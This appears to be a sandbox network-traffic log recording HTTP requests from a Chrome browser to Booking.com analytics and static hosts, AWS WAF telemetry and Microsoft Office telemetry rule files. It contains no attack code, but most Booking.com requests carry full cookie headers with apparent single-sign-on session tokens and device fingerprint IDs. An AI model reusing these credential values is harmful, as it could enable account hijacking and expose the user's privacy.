Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=353326246a61613f392470676757757266617c653527354a2d3232302d303a273343253542253230766570273a302533433b253546253f44 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /Mek0LzBUR_pp4BTT?8181c7f9361596dd=0jCOCZlGqQFR_5L6VGrbH2xM4K8yM8eKmigmjP_zvhWYlVJIdCoRnZoJJ5F2rqRWkhZSUcGpkypkgw20nUqBNTOc_3NexxtGLHb_QZl4pm7URlCWpVCLEyxwpXAFlap4Eo8WBjGm5ER6xSgv9YRDZSxhl_1hEqikUSAc HTTP/1.1Host: doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/img/favicon.svg HTTP/1.1Host: xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/img/favicon.ico HTTP/1.1Host: xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=353726246a61613f39246268716a6b3f27354a253d40273a3a4725323a273a413130383325324333253546273d4626626a7b62695d6966646d7a3f39 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P_2udEHNEFcSEKEc?135ea56cdb2e98c4=A_U4uRTifsR7PN1Kb5t2Z25tq_W1zdTg8QQdY02w4ned_B1maCxouUSO32R_48s1_ktsHbyLft0nPyfOYQhfKVFPWNMXAyzVAXHvbdj2Cq14lBlg0uTfKzA79qVHS_G10l_D9nCrvln9HqPZti_UkLGeWLRFQRC_TZPD_5H4s3kl3ICCgCev-Pp-rLDrVE_LCVyamiT2P0afxreY7w0&jf=343138247369665d7a6c643d766c725d50527a327933447b434c484b386a4f53267169665f646176653d33353b323535303c32372473616457767b786d3d77656a386d61647161247369645d6b657b3f3b32353931383131323638373a633a3e3c3863653b66383030333034303832633836363a6b673364323b3033323738333c303238383434613e606d373233306431643864343535343b6035396339616366636b383036366c693230353c363a643233663666383331643530353c3563373069313a60633c303f3b673b316563386a31306432333766633365606330303430323665603c306063306d663f6030313f31646630666d613260653a39303236386261373b3026736b6c5f716b673533383634383a32313038666d613666646737373737353730343935653734383932326131393c63353e386433383a326b363736306164323636393931353a633266613e32663b386c666932303a39303066306169316436323561346466333337343c646265336b3464663530313d663038393363366c306b32316630666239353136336160383261636431653236616c267b6b647a3530 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jac=1&je=363626246a666c3f39313226686e683f35333135386460303f6135393e3b3830323361343839653230653a676b306231246266766c3d383a3137313239333226786f356c6f HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=3136382472643f247a66743d343b3331312d393538322e3d3130302d393738322c373932312d313730302e373132322d333d30322e3531303b2f333d38302c333b3a312f313730322c353937302d333738322c353b3b312f3335383024373b3b312d3135383224343031392f313530322c353b363c2f313532382c343234382d3937323824353933302f393730322c373237392f313532322435303732253137323024323933302539353030 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383126246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413030253f442d30412d3a32707471726d273230253141253230706327303a273744 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /libs/asec/btmgmt/px.v7.5.3.min.js HTTP/1.1Host: r.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://account.booking.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/img/favicon.ico HTTP/1.1Host: xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jac=1&je=3139262477656b3f3935332e303d342c3035382e3e3a HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31303531262668636b3f3126606073613f253d422d37402d3a3274253a302d304327323044495627323327303b464956273a332730322d324b31303f3a2535442d304b2735402530327625303225304139323137273a433a35302d324b31303f3a2535442d304b2735402530326d6d27323227304b3b3933273a433035352d324b31303f3a2535442d304b2735402530326d6d27323227304b3b3933273a433035352d324b31303f3a2535442d304b2735402530326d6d27323227304b3b3530273a433130302d324b3130303d2535442d304b2735402530326d6d27323227304b3b3131273a433134312d324b3130313d2535442d304b2735402530326d6d27323227304b3a3736273a43313b372d324b313139382535442d304b2735402530326d6d27323227304b3a3435273a433631302d324b31313a3d2535442d304b2735402530326d6d27323227304b3a3137273a433637392d324b31313b392535442d304b2735402530326d6d27323227304b353931273a43363a362d324b31313c392535442d304b273540253032742530322530412d3032444b5e253031253a334c4b542d3a3325323a273a413331353a25354427324327374a2732326f65253030253a433f343a2d3a43353138273a413331353a25354427324327374a2732326f65253030253a433f363a2d3a43353339273a413331373025354427324327374a2732326f65253030253a433f303b2d3a43353538273a413331373525354427324327374a2732326f65253030253a433f33312d3a43353630273a413331383b25354427324327374a2732326f65253030253a433e3b3a2d3a4335383b273a413331393625354427324327374a2732326f65253030253a433e3a362d3a43353930273a413336303625354427324327374a273232762d323027324b253a3046415e2532332d303b464954253033253230253241313c303025374c253041253d422d303065652532322d304b343730253043363132253241313c303025374c253041253d422d303065652532322d304b343633253043363230253241313c313525374c253041253d422d30307c2d3232253a412d30324a544f4c253231253231273a31646f617d6d676c742d323b27303a2d3243333c36382735462530432535402532306f65273232273a433437312d324b34313a2d3243333c36382735462530432535402532306f65273232273a433436322d324b3436392d3243333c37382735462530432535402532306f65273232273a433431342d324b3437382d3243333c343e2735462530432535402532306f65273232273a433430372d324b34373f2d3243333c35392735462530432535402532306f65273232273a433430312d324b34343c2d3243333c3a3a2735462530432535402532306f65273232273a433433352d324b3435382d3243333c3b3027354625374426626a73635d6b666665783f38 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26co
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jac=1&je=363626246a666c3f39313226686e683f35333135386460303f6135393e3b3830323361343839653230653a676b306231246266766c3d383a3137313239333226786f356c6f HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
